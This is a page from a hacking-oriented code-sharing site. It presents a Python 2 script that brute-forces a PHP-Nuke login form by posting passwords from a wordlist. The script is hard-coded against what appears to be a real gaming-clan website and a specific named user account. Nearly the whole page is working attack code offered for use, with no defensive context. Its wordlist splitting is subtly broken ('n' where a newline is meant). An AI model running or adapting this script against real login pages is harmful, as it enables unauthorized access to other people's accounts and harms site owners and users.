Join us on IRC @ irc.r00tsecurity.org #r00tsecurity [ Web Client ] [ Log In | Register ]  
Resource Database Index -> Source Code -> Brute Force Login
Description // Info



Source Code

  1. #!/usr/bin/python
  2. import urllib2, urllib
  3.  
  4. #HOST: set to the exact URL of the login form
  5. #USER: self explanitory
  6. #WORDLIST: path/to/your/wordlist.txt
  7. #ERROR: somthing that is unique the the source code of page a failed login directs you to
  8.  
  9. HOST = \"http://war-clan.clanservers.com/PHP-Nuke/modules.php?name=Your_Account\"
  10. USER = \"W_A_R_Merijn\"
  11. WORDLIST = \"/home/phunkedelik/scripts/wordlist.txt\"
  12. ERROR = \"Login Incorrect!\"
  13.  
  14. wordfile = open(WORDLIST, \"r\")
  15. words = wordfile.read().split(\"n\")
  16. words = map(lambda x: x.rstrip(), words)
  17. wordfile.close()
  18.  
  19. for word in words:
  20.    print \"Trying password: %s\" % word
  21.    login_form = {\"username\": USER,
  22.                  \"user_password\": word,
  23.                  \"redirect\": \"\",
  24.                  \"mode\": \"\",
  25.                  \"f\": \"\",
  26.                  \"t\": \"\",
  27.                  \"op\": \"login\"}
  28.    login_req = urllib.urlencode(login_form)
  29.    req = urllib2.Request(HOST, login_req)
  30.    req.addheaders = [(\'User-agent\', \'Mozilla/5.0\')]
  31.    source = urllib2.urlopen(req).read()
  32.    if \"Login Incorrect! Please Try Again...\" not in source:
  33.        print \"Ah shit it worked with: %s, %s\" % (USER, word)
  34.        break


Comments

You must be logged in to post comments.

 Network Access...
USER ID
PASSWORD

 Code Information
Language:
Python

Version:
1.0


Submitted:
2009-10-09 - 20:23:12


Author:
phunkedelik
E-Mail
Website

Greetz:


[ Download | Report Issue ]

 Code Search
Search by Language
+ Assembly
+ ASP
+ ASP.NET
+ C#
+ C/C++
+ Cobol
+ Delphi
+ Java
+ Javascript
+ Pascal
+ Perl
+ PHP
+ Python
+ VB6
+ VB.NET

Advanced Search




 
By continuing past this page, and by your continued use of this site, you agree to be bound by and abide by the User Agreement.

© 2008 r00tsecurity network. All rights reserved.
[ About Us | Contact Us | Support Us | Legal | Advertise | User Agreement | Privacy Policy ]